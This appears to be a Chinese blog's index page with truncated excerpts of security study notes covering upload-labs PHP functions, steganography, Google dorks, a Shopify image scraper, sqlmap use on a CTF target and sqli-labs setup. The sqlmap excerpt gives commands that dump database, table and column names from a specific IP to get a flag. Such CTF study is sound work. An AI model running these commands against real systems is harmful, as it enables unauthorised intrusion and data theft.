Upload-labs
文件上传学习笔记
文件上传常用函数
file_exists() 函数检查文件或目录是否存在
deldot() 删除文件名末尾的点
strtolower( ) 将字符串转化为小写
str_ireplace() 替换函数,替换字符串中的一些字符
通常格式为str_ireplace(“$1”,”$2”,”$3”),意思是将$3中的$1替换为$2
unlink() 删除函数
trim()函数移除文字字符的字体或其他预定义的字符(可以理解为去除空格等等)
strrchr() 查找字符串在另一个字符串中最后出现的位置,并返回到该位置后的所有字符
例子:strrchr($x,’.’) 意思是查找 . 在变量x中最后一次出现的位置,假如$x为zhaobin.shuaishuai 那么这个函数的结果为shuaishuai
strrpos() 函数查找字符串在另一中最后一次出现的位置(时间大小写)。
和 strtchr()函数的区别就在于 它不返回到改位置
move_uploaded_file() 把上传的文件移动到新的位置
getimagesize() 获取图像大小 ...
Misc学习笔记
Misc学习笔记
😺图片隐写
🎈Exif信息隐藏
Exif是什么?
Exif就是用来记录拍摄图像时的各种信息:图像信息(厂商,分辨率等),相机拍摄记(ISO,白平衡,饱和度,锐度等),缩略图(缩略图宽度,高度等),gps(拍摄时的经度,纬度,高度)等,将这些信息按照JPEG文件标准放在图像文件头部。
如上图上述的信息都可以隐藏信息,我们可以通过右键属性,查看详细信息,也可以通过https://exif.tuchong.com/ 在线exif中查看
🎈图片修复式隐写
此隐写可分为图片头修复、图片尾修复、长宽高修复
文件头文件尾总结
JPEG (jpg), 文件头:FFD8FF 文件尾: FFD9 PNG (png), 文件头:89504E470D0A1A0A 文件尾:AE 42 60 82GIF (gif), 文件头:47494638 文件尾:00 3B
ZIP Archive ( ...
谷歌语法学习记录
谷歌语法简介
基本语法(常用)
“xxx”+域名: 搜索xxx与 域名 相关的内容
“xxx”: 精确寻找,引号内输入
site: 指定域名,如:site:edu.cn 搜索教育网站
inurl: 用于搜索包含的url关键词的网页,如:inurl:uploads 文件上传,搜索关于公司有关的网址中含有login的网页,
intext: 搜索网页正文中的关键字,如:intext:登陆/注册/用户名/密码
filetype: 按指定文件类型即文件后缀名搜索,如:filetpye:php/asp/jsp
info: 可以搜索到一个url更多的信息 如:info:www.baidu.com
link: 搜索所有链接到某个特定url的页面 如:link:www.baidu.com
AND,OR: 前者用来关联,后者代表两者其一都可
“?”和“*”: 占位通配符,匹配一些模糊搜索
Cache: 搜索缓存 如:cache: [www.baidu.com](http://www.baidu.com ...
爬虫项目
爬虫笔记
爬取burst.shopify.com内容
[TOC]
总体思想
观察网页构造,为写代码做准备,检查是否有反爬技术
检查所要下载的图片,观察格式,并且构造正则表达式
过滤重复的图片
保存图片,并作相关优化
实现效果
可批量下载照片
可选择类别下载
编写面向对象程序爬取
前期准备打开burst.shopify.com网页,观察其结构
观察到当我们打开一个类别的图片使,url中就将目录切换至类别下,这一点有助于我们后续的代码优化,可根据类别下载等
我们可以用F12观察网页源代码,根据图片的路径来进行爬虫的抓取
如上图,这一段就是这张图片在网页中的位置,我们打开图片的位置,在浏览器中显示图片
可以发现这里有一堆的jpg文件,并且都是一张照片,这里我就要想到后期要进行去重,不能有重复的照片显示出来
如上图,但是我们可以发现,这张图片并不是高清图片,观察url后可以发现,.jpg后面传参了一堆数据
https://burst.shopifycdn.com/photos/love-letters-and-hearts.jpg?widt ...
关于SQLmap
关于SQLmap
还是成绩单那个例子
第一步:
sqlmap -u “http://114.67.246.176:15604/" –data=”id=1” –dbs
tips:因为是post方式,所以构造语句时需要加data=
– dbs 爆出数据库名称
如图:可以看到全部的数据库
第二步:将数据库中的所有表爆出来
构造语句:
sqlmap -u “http://114.67.246.176:15604/" –data=”id=1” -D skctf –tables
第三步:知道了数据库 知道了表 我们将表中的字段名爆出来
构造语句:
sqlmap -u “http://114.67.246.176:15604/" –data=”id=1” -D skctf -T fl4g –columns
得到:
+————+————-+| Column | Type |+————+————-+| skctf_flag | varchar(64) |+————+————-+
第四步:最后一步 爆字段内容
构造语句:
sqlmap ...
sqli-labs
sqli-labs搭建以及前15题解答
[TOC]
sqli-labs的部署(vps上)
安装docker
因为自己vps上已经装好了,就不多赘述了
yum upadte//更新yum
yum install -y docker-engine //安装docker
部署sqli_libs
sudo docker search sqli-labs//在docker镜像库中搜索sqli-labs
sudo docker pull acgpiano/sqli-labs//拉取docker镜像库中的sqli-labs,并下载
sudo docker run -d --name sqli-labs -p 20000:80 acgpiano/sqli-labs//生成镜像,-p为端口号 -name为镜像名字
完成后在命令行中打入 docker ps 查看镜像,可以看到sqli-labs的端口号为20000,已经开启
打开网页可以看到已经访问成功,让我们点击 第二行的setup 连接一下数据库
如果显示如下的画面则表示已经部署完毕,可以做题啦!
ps: 如果无法连接securit ...